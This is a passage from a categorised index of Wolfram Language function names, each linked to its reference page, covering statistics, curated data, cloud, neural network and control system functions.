[Quantile](http://reference.wolfram.com/language/ref/Quantile.html), [QuartileDeviation](http://reference.wolfram.com/language/ref/QuartileDeviation.html), [Quartiles](http://reference.wolfram.com/language/ref/Quartiles.html), [QuartileSkewness](http://reference.wolfram.com/language/ref/QuartileSkewness.html), [QueueProperties](http://reference.wolfram.com/language/ref/QueueProperties.html), [RandomChoice](http://reference.wolfram.com/language/ref/RandomChoice.html), [RandomComplex](http://reference.wolfram.com/language/ref/RandomComplex.html), [RandomFunction](http://reference.wolfram.com/language/ref/RandomFunction.html), [RandomSample](http://reference.wolfram.com/language/ref/RandomSample.html), [RandomSeeding](http://reference.wolfram.com/language/ref/RandomSeeding.html), [RandomVariate](http://reference.wolfram.com/language/ref/RandomVariate.html), [RarerProbability](http://reference.wolfram.com/language/ref/RarerProbability.html), [RiskAchievementImportance](http://reference.wolfram.com/language/ref/RiskAchievementImportance.html), [RiskReductionImportance](http://reference.wolfram.com/language/ref/RiskReductionImportance.html), [RootMeanSquare](http://reference.wolfram.com/language/ref/RootMeanSquare.html), [SeedRandom](http://reference.wolfram.com/language/ref/SeedRandom.html), [SignificanceLevel](http://reference.wolfram.com/language/ref/SignificanceLevel.html), [Skewness](http://reference.wolfram.com/language/ref/Skewness.html), [SnDispersion](http://reference.wolfram.com/language/ref/SnDispersion.html), [SpatialMedian](http://reference.wolfram.com/language/ref/SpatialMedian.html), [StandardDeviation](http://reference.wolfram.com/language/ref/StandardDeviation.html), [Standardize](http://reference.wolfram.com/language/ref/Standardize.html), [Standardized](http://reference.wolfram.com/language/ref/Standardized.html), [StrataVariables](http://reference.wolfram.com/language/ref/StrataVariables.html), [StructuralImportance](http://reference.wolfram.com/language/ref/StructuralImportance.html), [SurvivalFunction](http://reference.wolfram.com/language/ref/SurvivalFunction.html), [SurvivalModel](http://reference.wolfram.com/language/ref/SurvivalModel.html), [SurvivalModelFit](http://reference.wolfram.com/language/ref/SurvivalModelFit.html), [TemporalData](http://reference.wolfram.com/language/ref/TemporalData.html), [TrimmedMean](http://reference.wolfram.com/language/ref/TrimmedMean.html), [TrimmedVariance](http://reference.wolfram.com/language/ref/TrimmedVariance.html), [Variance](http://reference.wolfram.com/language/ref/Variance.html), [VerifyTestAssumptions](http://reference.wolfram.com/language/ref/VerifyTestAssumptions.html), [WeakStationarity](http://reference.wolfram.com/language/ref/WeakStationarity.html), [WeightedData](http://reference.wolfram.com/language/ref/WeightedData.html), [WinsorizedMean](http://reference.wolfram.com/language/ref/WinsorizedMean.html), [WinsorizedVariance](http://reference.wolfram.com/language/ref/WinsorizedVariance.html)
### Paclet (103)
[AdministrativeDivisionData](http://reference.wolfram.com/language/ref/AdministrativeDivisionData.html), [AircraftData](http://reference.wolfram.com/language/ref/AircraftData.html), [AirportData](http://reference.wolfram.com/language/ref/AirportData.html), [AirPressureData](http://reference.wolfram.com/language/ref/AirPressureData.html), [AirTemperatureData](http://reference.wolfram.com/language/ref/AirTemperatureData.html), [AnatomyData](http://reference.wolfram.com/language/ref/AnatomyData.html), [BridgeData](http://reference.wolfram.com/language/ref/BridgeData.html), [BroadcastStationData](http://reference.wolfram.com/language/ref/BroadcastStationData.html), [BuildingData](http://reference.wolfram.com/language/ref/BuildingData.html), [ChemicalData](http://reference.wolfram.com/language/ref/ChemicalData.html), [CityData](http://reference.wolfram.com/language/ref/CityData.html), [CometData](http://reference.wolfram.com/language/ref/CometData.html), [CompanyData](http://reference.wolfram.com/language/ref/CompanyData.html), [ConstellationData](http://reference.wolfram.com/language/ref/ConstellationData.html), [CountryData](http://reference.wolfram.com/language/ref/CountryData.html), [DamData](http://reference.wolfram.com/language/ref/DamData.html), [DeepSpaceProbeData](http://reference.wolfram.com/language/ref/DeepSpaceProbeData.html), [DictionaryLookup](http://reference.wolfram.com/language/ref/DictionaryLookup.html), [EarthImpactData](http://reference.wolfram.com/language/ref/EarthImpactData.html), [EarthquakeData](http://reference.wolfram.com/language/ref/EarthquakeData.html), [ElementData](http://reference.wolfram.com/language/ref/ElementData.html), [ExampleData](http://reference.wolfram.com/language/ref/ExampleData.html), [ExoplanetData](http://reference.wolfram.com/language/ref/ExoplanetData.html), [FetalGrowthData](http://reference.wolfram.com/language/ref/FetalGrowthData.html), [FinancialData](http://reference.wolfram.com/language/ref/FinancialData.html), [FormulaData](http://reference.wolfram.com/language/ref/FormulaData.html), [FormulaLookup](http://reference.wolfram.com/language/ref/FormulaLookup.html), [GalaxyData](http://reference.wolfram.com/language/ref/GalaxyData.html), [GenomeData](http://reference.wolfram.com/language/ref/GenomeData.html), [GenomeLookup](http://reference.wolfram.com/language/ref/GenomeLookup.html), [GeoElevationData](http://reference.wolfram.com/language/ref/GeoElevationData.html), [GeogravityModelData](http://reference.wolfram.com/language/ref/GeogravityModelData.html), [GeologicalPeriodData](http://reference.wolfram.com/language/ref/GeologicalPeriodData.html), [GeomagneticModelData](http://reference.wolfram.com/language/ref/GeomagneticModelData.html), [HistoricalPeriodData](http://reference.wolfram.com/language/ref/HistoricalPeriodData.html), [HumanGrowthData](http://reference.wolfram.com/language/ref/HumanGrowthData.html), [IconData](http://reference.wolfram.com/language/ref/IconData.html), [IslandData](http://reference.wolfram.com/language/ref/IslandData.html), [IsotopeData](http://reference.wolfram.com/language/ref/IsotopeData.html), [KnotData](http://reference.wolfram.com/language/ref/KnotData.html), [LakeData](http://reference.wolfram.com/language/ref/LakeData.html), [LaminaData](http://reference.wolfram.com/language/ref/LaminaData.html), [LanguageData](http://reference.wolfram.com/language/ref/LanguageData.html), [LatticeData](http://reference.wolfram.com/language/ref/LatticeData.html), [MannedSpaceMissionData](http://reference.wolfram.com/language/ref/MannedSpaceMissionData.html), [MathematicalFunctionData](http://reference.wolfram.com/language/ref/MathematicalFunctionData.html), [MedicalTestData](http://reference.wolfram.com/language/ref/MedicalTestData.html), [MeteorShowerData](http://reference.wolfram.com/language/ref/MeteorShowerData.html), [MineralData](http://reference.wolfram.com/language/ref/MineralData.html), [MinorPlanetData](http://reference.wolfram.com/language/ref/MinorPlanetData.html), [MortalityData](http://reference.wolfram.com/language/ref/MortalityData.html), [MountainData](http://reference.wolfram.com/language/ref/MountainData.html), [MovieData](http://reference.wolfram.com/language/ref/MovieData.html), [NebulaData](http://reference.wolfram.com/language/ref/NebulaData.html), [NeighborhoodData](http://reference.wolfram.com/language/ref/NeighborhoodData.html), [NuclearExplosionData](http://reference.wolfram.com/language/ref/NuclearExplosionData.html), [NuclearReactorData](http://reference.wolfram.com/language/ref/NuclearReactorData.html), [OceanData](http://reference.wolfram.com/language/ref/OceanData.html), [ParkData](http://reference.wolfram.com/language/ref/ParkData.html), [ParticleAcceleratorData](http://reference.wolfram.com/language/ref/ParticleAcceleratorData.html), [ParticleData](http://reference.wolfram.com/language/ref/ParticleData.html), [PersonData](http://reference.wolfram.com/language/ref/PersonData.html), [PhysicalSystemData](http://reference.wolfram.com/language/ref/PhysicalSystemData.html), [PlaneCurveData](http://reference.wolfram.com/language/ref/PlaneCurveData.html), [PlanetaryMoonData](http://reference.wolfram.com/language/ref/PlanetaryMoonData.html), [PlanetData](http://reference.wolfram.com/language/ref/PlanetData.html), [PlantData](http://reference.wolfram.com/language/ref/PlantData.html), [PolyhedronData](http://reference.wolfram.com/language/ref/PolyhedronData.html), [ProteinData](http://reference.wolfram.com/language/ref/ProteinData.html), [PsychrometricPropertyData](http://reference.wolfram.com/language/ref/PsychrometricPropertyData.html), [PulsarData](http://reference.wolfram.com/language/ref/PulsarData.html), [SatelliteData](http://reference.wolfram.com/language/ref/SatelliteData.html), [SolarSystemFeatureData](http://reference.wolfram.com/language/ref/SolarSystemFeatureData.html), [SolidData](http://reference.wolfram.com/language/ref/SolidData.html), [SpaceCurveData](http://reference.wolfram.com/language/ref/SpaceCurveData.html), [SpeciesData](http://reference.wolfram.com/language/ref/SpeciesData.html), [SpectralLineData](http://reference.wolfram.com/language/ref/SpectralLineData.html), [StandardAtmosphereData](http://reference.wolfram.com/language/ref/StandardAtmosphereData.html), [StandardOceanData](http://reference.wolfram.com/language/ref/StandardOceanData.html), [StarClusterData](http://reference.wolfram.com/language/ref/StarClusterData.html), [StarData](http://reference.wolfram.com/language/ref/StarData.html), [StoppingPowerData](http://reference.wolfram.com/language/ref/StoppingPowerData.html), [SupernovaData](http://reference.wolfram.com/language/ref/SupernovaData.html), [SurfaceData](http://reference.wolfram.com/language/ref/SurfaceData.html), [ThermodynamicData](http://reference.wolfram.com/language/ref/ThermodynamicData.html), [TideData](http://reference.wolfram.com/language/ref/TideData.html), [TropicalStormData](http://reference.wolfram.com/language/ref/TropicalStormData.html), [TunnelData](http://reference.wolfram.com/language/ref/TunnelData.html), [UnderseaFeatureData](http://reference.wolfram.com/language/ref/UnderseaFeatureData.html), [UniverseModelData](http://reference.wolfram.com/language/ref/UniverseModelData.html), [UniversityData](http://reference.wolfram.com/language/ref/UniversityData.html), [VolcanoData](http://reference.wolfram.com/language/ref/VolcanoData.html), [WeatherData](http://reference.wolfram.com/language/ref/WeatherData.html), [WeatherForecastData](http://reference.wolfram.com/language/ref/WeatherForecastData.html), [WikipediaData](http://reference.wolfram.com/language/ref/WikipediaData.html), [WindDirectionData](http://reference.wolfram.com/language/ref/WindDirectionData.html), [WindSpeedData](http://reference.wolfram.com/language/ref/WindSpeedData.html), [WindVectorData](http://reference.wolfram.com/language/ref/WindVectorData.html), [WolframLanguageData](http://reference.wolfram.com/language/ref/WolframLanguageData.html), [WordData](http://reference.wolfram.com/language/ref/WordData.html), [WordFrequency](http://reference.wolfram.com/language/ref/WordFrequency.html), [WordFrequencyData](http://reference.wolfram.com/language/ref/WordFrequencyData.html), [ZIPCodeData](http://reference.wolfram.com/language/ref/ZIPCodeData.html)
### Cloud (97)
[AddUsers](http://reference.wolfram.com/language/ref/AddUsers.html), [AllowedCloudExtraParameters](http://reference.wolfram.com/language/ref/AllowedCloudExtraParameters.html), [AllowedCloudParameterExtensions](http://reference.wolfram.com/language/ref/AllowedCloudParameterExtensions.html), [APIFunction](http://reference.wolfram.com/language/ref/APIFunction.html), [Authentication](http://reference.wolfram.com/language/ref/Authentication.html), [AutoRefreshed](http://reference.wolfram.com/language/ref/AutoRefreshed.html), [AutoSubmitting](http://reference.wolfram.com/language/ref/AutoSubmitting.html), [CachePersistence](http://reference.wolfram.com/language/ref/CachePersistence.html), [ClearPermissions](http://reference.wolfram.com/language/ref/ClearPermissions.html), [CloudAccountData](http://reference.wolfram.com/language/ref/CloudAccountData.html), [CloudBase](http://reference.wolfram.com/language/ref/CloudBase.html), [CloudConnect](http://reference.wolfram.com/language/ref/CloudConnect.html), [CloudDeploy](http://reference.wolfram.com/language/ref/CloudDeploy.html), [CloudDirectory](http://reference.wolfram.com/language/ref/CloudDirectory.html), [CloudDisconnect](http://reference.wolfram.com/language/ref/CloudDisconnect.html), [CloudEvaluate](http://reference.wolfram.com/language/ref/CloudEvaluate.html), [CloudExport](http://reference.wolfram.com/language/ref/CloudExport.html), [CloudExpression](http://reference.wolfram.com/language/ref/CloudExpression.html), [CloudExpressions](http://reference.wolfram.com/language/ref/CloudExpressions.html), [CloudFunction](http://reference.wolfram.com/language/ref/CloudFunction.html), [CloudGet](http://reference.wolfram.com/language/ref/CloudGet.html), [CloudImport](http://reference.wolfram.com/language/ref/CloudImport.html), [CloudLoggingData](http://reference.wolfram.com/language/ref/CloudLoggingData.html), [CloudObject](http://reference.wolfram.com/language/ref/CloudObject.html), [CloudObjectNameFormat](http://reference.wolfram.com/language/ref/CloudObjectNameFormat.html), [CloudObjects](http://reference.wolfram.com/language/ref/CloudObjects.html), [CloudObjectURLType](http://reference.wolfram.com/language/ref/CloudObjectURLType.html), [CloudPublish](http://reference.wolfram.com/language/ref/CloudPublish.html), [CloudPut](http://reference.wolfram.com/language/ref/CloudPut.html), [CloudSave](http://reference.wolfram.com/language/ref/CloudSave.html), [CloudShare](http://reference.wolfram.com/language/ref/CloudShare.html), [CloudSubmit](http://reference.wolfram.com/language/ref/CloudSubmit.html), [CloudSymbol](http://reference.wolfram.com/language/ref/CloudSymbol.html), [CloudUnshare](http://reference.wolfram.com/language/ref/CloudUnshare.html), [CompoundElement](http://reference.wolfram.com/language/ref/CompoundElement.html), [CreateCloudExpression](http://reference.wolfram.com/language/ref/CreateCloudExpression.html), [CreatePermissionsGroup](http://reference.wolfram.com/language/ref/CreatePermissionsGroup.html), [CreateUUID](http://reference.wolfram.com/language/ref/CreateUUID.html), [Delayed](http://reference.wolfram.com/language/ref/Delayed.html), [DeleteCloudExpression](http://reference.wolfram.com/language/ref/DeleteCloudExpression.html), [DeleteObject](http://reference.wolfram.com/language/ref/DeleteObject.html), [DeletePermissionsKey](http://reference.wolfram.com/language/ref/DeletePermissionsKey.html), [EmbeddedHTML](http://reference.wolfram.com/language/ref/EmbeddedHTML.html), [ExportForm](http://reference.wolfram.com/language/ref/ExportForm.html), [ExternalBundle](http://reference.wolfram.com/language/ref/ExternalBundle.html), [ExternalTypeSignature](http://reference.wolfram.com/language/ref/ExternalTypeSignature.html), [FormControl](http://reference.wolfram.com/language/ref/FormControl.html), [FormFunction](http://reference.wolfram.com/language/ref/FormFunction.html), [FormLayoutFunction](http://reference.wolfram.com/language/ref/FormLayoutFunction.html), [FormObject](http://reference.wolfram.com/language/ref/FormObject.html), [FormPage](http://reference.wolfram.com/language/ref/FormPage.html), [GenerateHTTPResponse](http://reference.wolfram.com/language/ref/GenerateHTTPResponse.html), [GenerateSecuredAuthenticationKey](http://reference.wolfram.com/language/ref/GenerateSecuredAuthenticationKey.html), [HTTPErrorResponse](http://reference.wolfram.com/language/ref/HTTPErrorResponse.html), [HTTPResponse](http://reference.wolfram.com/language/ref/HTTPResponse.html), [IconRules](http://reference.wolfram.com/language/ref/IconRules.html), [IncludeDefinitions](http://reference.wolfram.com/language/ref/IncludeDefinitions.html), [LocalCache](http://reference.wolfram.com/language/ref/LocalCache.html), [PageTheme](http://reference.wolfram.com/language/ref/PageTheme.html), [PartProtection](http://reference.wolfram.com/language/ref/PartProtection.html), [Permissions](http://reference.wolfram.com/language/ref/Permissions.html), [PermissionsGroup](http://reference.wolfram.com/language/ref/PermissionsGroup.html), [PermissionsGroups](http://reference.wolfram.com/language/ref/PermissionsGroups.html), [PermissionsKey](http://reference.wolfram.com/language/ref/PermissionsKey.html), [PermissionsKeys](http://reference.wolfram.com/language/ref/PermissionsKeys.html), [RemoveUsers](http://reference.wolfram.com/language/ref/RemoveUsers.html), [ResponseForm](http://reference.wolfram.com/language/ref/ResponseForm.html), [SecuredAuthenticationKey](http://reference.wolfram.com/language/ref/SecuredAuthenticationKey.html), [SecuredAuthenticationKeys](http://reference.wolfram.com/language/ref/SecuredAuthenticationKeys.html), [SetCloudDirectory](http://reference.wolfram.com/language/ref/SetCloudDirectory.html), [SetPermissions](http://reference.wolfram.com/language/ref/SetPermissions.html), [SetUsers](http://reference.wolfram.com/language/ref/SetUsers.html), [SharingList](http://reference.wolfram.com/language/ref/SharingList.html), [$CacheBaseDirectory](http://reference.wolfram.com/language/ref/%24CacheBaseDirectory.html), [$CloudBase](http://reference.wolfram.com/language/ref/%24CloudBase.html), [$CloudConnected](http://reference.wolfram.com/language/ref/%24CloudConnected.html), [$CloudCreditsAvailable](http://reference.wolfram.com/language/ref/%24CloudCreditsAvailable.html), [$CloudEvaluation](http://reference.wolfram.com/language/ref/%24CloudEvaluation.html), [$CloudExpressionBase](http://reference.wolfram.com/language/ref/%24CloudExpressionBase.html), [$CloudObjectNameFormat](http://reference.wolfram.com/language/ref/%24CloudObjectNameFormat.html), [$CloudObjectURLType](http://reference.wolfram.com/language/ref/%24CloudObjectURLType.html), [$CloudRootDirectory](http://reference.wolfram.com/language/ref/%24CloudRootDirectory.html), [$CloudSymbolBase](http://reference.wolfram.com/language/ref/%24CloudSymbolBase.html), [$CloudUserID](http://reference.wolfram.com/language/ref/%24CloudUserID.html), [$CloudUserUUID](http://reference.wolfram.com/language/ref/%24CloudUserUUID.html), [$CloudVersion](http://reference.wolfram.com/language/ref/%24CloudVersion.html), [$EvaluationCloudBase](http://reference.wolfram.com/language/ref/%24EvaluationCloudBase.html), [$EvaluationCloudObject](http://reference.wolfram.com/language/ref/%24EvaluationCloudObject.html), [$Permissions](http://reference.wolfram.com/language/ref/%24Permissions.html), [$RequesterAddress](http://reference.wolfram.com/language/ref/%24RequesterAddress.html), [$RequesterWolframID](http://reference.wolfram.com/language/ref/%24RequesterWolframID.html), [$RequesterWolframUUID](http://reference.wolfram.com/language/ref/%24RequesterWolframUUID.html), [$SSHAuthentication](http://reference.wolfram.com/language/ref/%24SSHAuthentication.html), [$UserAgentString](http://reference.wolfram.com/language/ref/%24UserAgentString.html), [$UserURLBase](http://reference.wolfram.com/language/ref/%24UserURLBase.html), [$WolframID](http://reference.wolfram.com/language/ref/%24WolframID.html), [$WolframUUID](http://reference.wolfram.com/language/ref/%24WolframUUID.html)
### Net (90)
[AggregationLayer](http://reference.wolfram.com/language/ref/AggregationLayer.html), [AppendLayer](http://reference.wolfram.com/language/ref/AppendLayer.html), [AttentionLayer](http://reference.wolfram.com/language/ref/AttentionLayer.html), [BasicRecurrentLayer](http://reference.wolfram.com/language/ref/BasicRecurrentLayer.html), [BatchNormalizationLayer](http://reference.wolfram.com/language/ref/BatchNormalizationLayer.html), [BatchSize](http://reference.wolfram.com/language/ref/BatchSize.html), [CatenateLayer](http://reference.wolfram.com/language/ref/CatenateLayer.html), [ConstantArrayLayer](http://reference.wolfram.com/language/ref/ConstantArrayLayer.html), [ConstantPlusLayer](http://reference.wolfram.com/language/ref/ConstantPlusLayer.html), [ConstantTimesLayer](http://reference.wolfram.com/language/ref/ConstantTimesLayer.html), [ContrastiveLossLayer](http://reference.wolfram.com/language/ref/ContrastiveLossLayer.html), [ConvolutionLayer](http://reference.wolfram.com/language/ref/ConvolutionLayer.html), [CrossEntropyLossLayer](http://reference.wolfram.com/language/ref/CrossEntropyLossLayer.html), [CTCLossLayer](http://reference.wolfram.com/language/ref/CTCLossLayer.html), [DeconvolutionLayer](http://reference.wolfram.com/language/ref/DeconvolutionLayer.html), [DotLayer](http://reference.wolfram.com/language/ref/DotLayer.html), [DropoutLayer](http://reference.wolfram.com/language/ref/DropoutLayer.html), [ElementwiseLayer](http://reference.wolfram.com/language/ref/ElementwiseLayer.html), [EmbeddingLayer](http://reference.wolfram.com/language/ref/EmbeddingLayer.html), [ExtractLayer](http://reference.wolfram.com/language/ref/ExtractLayer.html), [FlattenLayer](http://reference.wolfram.com/language/ref/FlattenLayer.html), [GatedRecurrentLayer](http://reference.wolfram.com/language/ref/GatedRecurrentLayer.html), [LearningRate](http://reference.wolfram.com/language/ref/LearningRate.html), [LearningRateMultipliers](http://reference.wolfram.com/language/ref/LearningRateMultipliers.html), [LinearLayer](http://reference.wolfram.com/language/ref/LinearLayer.html), [LocalResponseNormalizationLayer](http://reference.wolfram.com/language/ref/LocalResponseNormalizationLayer.html), [LongShortTermMemoryLayer](http://reference.wolfram.com/language/ref/LongShortTermMemoryLayer.html), [LossFunction](http://reference.wolfram.com/language/ref/LossFunction.html), [MaxTrainingRounds](http://reference.wolfram.com/language/ref/MaxTrainingRounds.html), [MeanAbsoluteLossLayer](http://reference.wolfram.com/language/ref/MeanAbsoluteLossLayer.html), [MeanSquaredLossLayer](http://reference.wolfram.com/language/ref/MeanSquaredLossLayer.html), [NetAppend](http://reference.wolfram.com/language/ref/NetAppend.html), [NetBidirectionalOperator](http://reference.wolfram.com/language/ref/NetBidirectionalOperator.html), [NetChain](http://reference.wolfram.com/language/ref/NetChain.html), [NetDecoder](http://reference.wolfram.com/language/ref/NetDecoder.html), [NetDelete](http://reference.wolfram.com/language/ref/NetDelete.html), [NetDrop](http://reference.wolfram.com/language/ref/NetDrop.html), [NetEncoder](http://reference.wolfram.com/language/ref/NetEncoder.html), [NetEvaluationMode](http://reference.wolfram.com/language/ref/NetEvaluationMode.html), [NetExtract](http://reference.wolfram.com/language/ref/NetExtract.html), [NetFlatten](http://reference.wolfram.com/language/ref/NetFlatten.html), [NetFoldOperator](http://reference.wolfram.com/language/ref/NetFoldOperator.html), [NetGraph](http://reference.wolfram.com/language/ref/NetGraph.html), [NetInformation](http://reference.wolfram.com/language/ref/NetInformation.html), [NetInitialize](http://reference.wolfram.com/language/ref/NetInitialize.html), [NetInsert](http://reference.wolfram.com/language/ref/NetInsert.html), [NetInsertSharedArrays](http://reference.wolfram.com/language/ref/NetInsertSharedArrays.html), [NetJoin](http://reference.wolfram.com/language/ref/NetJoin.html), [NetMapOperator](http://reference.wolfram.com/language/ref/NetMapOperator.html), [NetMapThreadOperator](http://reference.wolfram.com/language/ref/NetMapThreadOperator.html), [NetMeasurements](http://reference.wolfram.com/language/ref/NetMeasurements.html), [NetModel](http://reference.wolfram.com/language/ref/NetModel.html), [NetNestOperator](http://reference.wolfram.com/language/ref/NetNestOperator.html), [NetPairEmbeddingOperator](http://reference.wolfram.com/language/ref/NetPairEmbeddingOperator.html), [NetPort](http://reference.wolfram.com/language/ref/NetPort.html), [NetPortGradient](http://reference.wolfram.com/language/ref/NetPortGradient.html), [NetPrepend](http://reference.wolfram.com/language/ref/NetPrepend.html), [NetRename](http://reference.wolfram.com/language/ref/NetRename.html), [NetReplace](http://reference.wolfram.com/language/ref/NetReplace.html), [NetReplacePart](http://reference.wolfram.com/language/ref/NetReplacePart.html), [NetSharedArray](http://reference.wolfram.com/language/ref/NetSharedArray.html), [NetStateObject](http://reference.wolfram.com/language/ref/NetStateObject.html), [NetTake](http://reference.wolfram.com/language/ref/NetTake.html), [NetTrain](http://reference.wolfram.com/language/ref/NetTrain.html), [NetTrainResultsObject](http://reference.wolfram.com/language/ref/NetTrainResultsObject.html), [NormalizationLayer](http://reference.wolfram.com/language/ref/NormalizationLayer.html), [OrderingLayer](http://reference.wolfram.com/language/ref/OrderingLayer.html), [PaddingLayer](http://reference.wolfram.com/language/ref/PaddingLayer.html), [PartLayer](http://reference.wolfram.com/language/ref/PartLayer.html), [PoolingLayer](http://reference.wolfram.com/language/ref/PoolingLayer.html), [PrependLayer](http://reference.wolfram.com/language/ref/PrependLayer.html), [ReplicateLayer](http://reference.wolfram.com/language/ref/ReplicateLayer.html), [ReshapeLayer](http://reference.wolfram.com/language/ref/ReshapeLayer.html), [ResizeLayer](http://reference.wolfram.com/language/ref/ResizeLayer.html), [SequenceLastLayer](http://reference.wolfram.com/language/ref/SequenceLastLayer.html), [SequenceMostLayer](http://reference.wolfram.com/language/ref/SequenceMostLayer.html), [SequenceRestLayer](http://reference.wolfram.com/language/ref/SequenceRestLayer.html), [SequenceReverseLayer](http://reference.wolfram.com/language/ref/SequenceReverseLayer.html), [SoftmaxLayer](http://reference.wolfram.com/language/ref/SoftmaxLayer.html), [SpatialTransformationLayer](http://reference.wolfram.com/language/ref/SpatialTransformationLayer.html), [SummationLayer](http://reference.wolfram.com/language/ref/SummationLayer.html), [ThreadingLayer](http://reference.wolfram.com/language/ref/ThreadingLayer.html), [TotalLayer](http://reference.wolfram.com/language/ref/TotalLayer.html), [TrainingProgressCheckpointing](http://reference.wolfram.com/language/ref/TrainingProgressCheckpointing.html), [TrainingProgressFunction](http://reference.wolfram.com/language/ref/TrainingProgressFunction.html), [TrainingProgressMeasurements](http://reference.wolfram.com/language/ref/TrainingProgressMeasurements.html), [TrainingProgressReporting](http://reference.wolfram.com/language/ref/TrainingProgressReporting.html), [TrainingStoppingCriterion](http://reference.wolfram.com/language/ref/TrainingStoppingCriterion.html), [TransposeLayer](http://reference.wolfram.com/language/ref/TransposeLayer.html), [UnitVectorLayer](http://reference.wolfram.com/language/ref/UnitVectorLayer.html)
### Control System (88)
[AffineStateSpaceModel](http://reference.wolfram.com/language/ref/AffineStateSpaceModel.html), [AsymptoticOutputTracker](http://reference.wolfram.com/language/ref/AsymptoticOutputTracker.html), [BodePlot](http://reference.wolfram.com/language/ref/BodePlot.html), [CarlemanLinearize](http://reference.wolfram.com/language/ref/CarlemanLinearize.html), [ContinuousTimeModelQ](http://reference.wolfram.com/language/ref/ContinuousTimeModelQ.html), [ControllabilityGramian](http://reference.wolfram.com/language/ref/ControllabilityGramian.html), [ControllabilityMatrix](http://reference.wolfram.com/language/ref/ControllabilityMatrix.html), [ControllableDecomposition](http://reference.wolfram.com/language/ref/ControllableDecomposition.html), [ControllableModelQ](http://reference.wolfram.com/language/ref/ControllableModelQ.html), [DescriptorStateSpace](http://reference.wolfram.com/language/ref/DescriptorStateSpace.html), [DiscreteLQEstimatorGains](http://reference.wolfram.com/language/ref/DiscreteLQEstimatorGains.html), [DiscreteLQRegulatorGains](http://reference.wolfram.com/language/ref/DiscreteLQRegulatorGains.html), [DiscreteTimeModelQ](http://reference.wolfram.com/language/ref/DiscreteTimeModelQ.html), [DualSystemsModel](http://reference.wolfram.com/language/ref/DualSystemsModel.html), [EstimatorGains](http://reference.wolfram.com/language/ref/EstimatorGains.html), [EstimatorRegulator](http://reference.wolfram.com/language/ref/EstimatorRegulator.html), [FeedbackLinearize](http://reference.wolfram.com/language/ref/FeedbackLinearize.html), [FeedbackSector](http://reference.wolfram.com/language/ref/FeedbackSector.html), [FeedbackSectorStyle](http://reference.wolfram.com/language/ref/FeedbackSectorStyle.html), [FeedbackType](http://reference.wolfram.com/language/ref/FeedbackType.html), [FullInformationOutputRegulator](http://reference.wolfram.com/language/ref/FullInformationOutputRegulator.html), [GainMargins](http://reference.wolfram.com/language/ref/GainMargins.html), [GainPhaseMargins](http://reference.wolfram.com/language/ref/GainPhaseMargins.html), [InternallyBalancedDecomposition](http://reference.wolfram.com/language/ref/InternallyBalancedDecomposition.html), [JordanModelDecomposition](http://reference.wolfram.com/language/ref/JordanModelDecomposition.html), [KalmanEstimator](http://reference.wolfram.com/language/ref/KalmanEstimator.html), [KroneckerModelDecomposition](http://reference.wolfram.com/language/ref/KroneckerModelDecomposition.html), [LinearizingTransformationData](http://reference.wolfram.com/language/ref/LinearizingTransformationData.html), [LQEstimatorGains](http://reference.wolfram.com/language/ref/LQEstimatorGains.html), [LQGRegulator](http://reference.wolfram.com/language/ref/LQGRegulator.html), [LQOutputRegulatorGains](http://reference.wolfram.com/language/ref/LQOutputRegulatorGains.html), [LQRegulatorGains](http://reference.wolfram.com/language/ref/LQRegulatorGains.html), [MinimalStateSpaceModel](http://reference.wolfram.com/language/ref/MinimalStateSpaceModel.html), [NicholsGridLines](http://reference.wolfram.com/language/ref/NicholsGridLines.html), [NicholsPlot](http://reference.wolfram.com/language/ref/NicholsPlot.html), [NonlinearStateSpaceModel](http://reference.wolfram.com/language/ref/NonlinearStateSpaceModel.html), [NyquistGridLines](http://reference.wolfram.com/language/ref/NyquistGridLines.html), [NyquistPlot](http://reference.wolfram.com/language/ref/NyquistPlot.html), [ObservabilityGramian](http://reference.wolfram.com/language/ref/ObservabilityGramian.html), [ObservabilityMatrix](http://reference.wolfram.com/language/ref/ObservabilityMatrix.html), [ObservableDecomposition](http://reference.wolfram.com/language/ref/ObservableDecomposition.html), [ObservableModelQ](http://reference.wolfram.com/language/ref/ObservableModelQ.html), [OutputControllabilityMatrix](http://reference.wolfram.com/language/ref/OutputControllabilityMatrix.html), [OutputControllableModelQ](http://reference.wolfram.com/language/ref/OutputControllableModelQ.html), [OutputResponse](http://reference.wolfram.com/language/ref/OutputResponse.html), [PhaseMargins](http://reference.wolfram.com/language/ref/PhaseMargins.html), [PhaseRange](http://reference.wolfram.com/language/ref/PhaseRange.html), [PIDData](http://reference.wolfram.com/language/ref/PIDData.html), [PIDDerivativeFilter](http://reference.wolfram.com/language/ref/PIDDerivativeFilter.html), [PIDFeedforward](http://reference.wolfram.com/language/ref/PIDFeedforward.html), [PIDTune](http://reference.wolfram.com/language/ref/PIDTune.html), [PoleZeroMarkers](http://reference.wolfram.com/language/ref/PoleZeroMarkers.html), [RootLocusPlot](http://reference.wolfram.com/language/ref/RootLocusPlot.html), [SamplingPeriod](http://reference.wolfram.com/language/ref/SamplingPeriod.html), [SmithDelayCompensator](http://reference.wolfram.com/language/ref/SmithDelayCompensator.html), [StabilityMargins](http://reference.wolfram.com/language/ref/StabilityMargins.html), [StabilityMarginsStyle](http://reference.wolfram.com/language/ref/StabilityMarginsStyle.html), [StateFeedbackGains](http://reference.wolfram.com/language/ref/StateFeedbackGains.html), [StateOutputEstimator](http://reference.wolfram.com/language/ref/StateOutputEstimator.html), [StateResponse](http://reference.wolfram.com/language/ref/StateResponse.html), [StateSpaceModel](http://reference.wolfram.com/language/ref/StateSpaceModel.html), [StateSpaceRealization](http://reference.wolfram.com/language/ref/StateSpaceRealization.html), [StateSpaceTransform](http://reference.wolfram.com/language/ref/StateSpaceTransform.html), [StateTransformationLinearize](http://reference.wolfram.com/language/ref/StateTransformationLinearize.html), [SystemsConnectionsModel](http://reference.wolfram.com/language/ref/SystemsConnectionsModel.html), [SystemsModelDelay](http://reference.wolfram.com/language/ref/SystemsModelDelay.html), [SystemsModelDelayApproximate](http://reference.wolfram.com/language/ref/SystemsModelDelayApproximate.html), [SystemsModelDelete](http://reference.wolfram.com/language/ref/SystemsModelDelete.html), [SystemsModelDimensions](http://reference.wolfram.com/language/ref/SystemsModelDimensions.html), [SystemsModelExtract](http://reference.wolfram.com/language/ref/SystemsModelExtract.html), [SystemsModelFeedbackConnect](http://reference.wolfram.com/language/ref/SystemsModelFeedbackConnect.html), [SystemsModelLabels](http://reference.wolfram.com/language/ref/SystemsModelLabels.html), [SystemsModelLinearity](http://reference.wolfram.com/language/ref/SystemsModelLinearity.html), [SystemsModelMerge](http://reference.wolfram.com/language/ref/SystemsModelMerge.html), [SystemsModelOrder](http://reference.wolfram.com/language/ref/SystemsModelOrder.html), 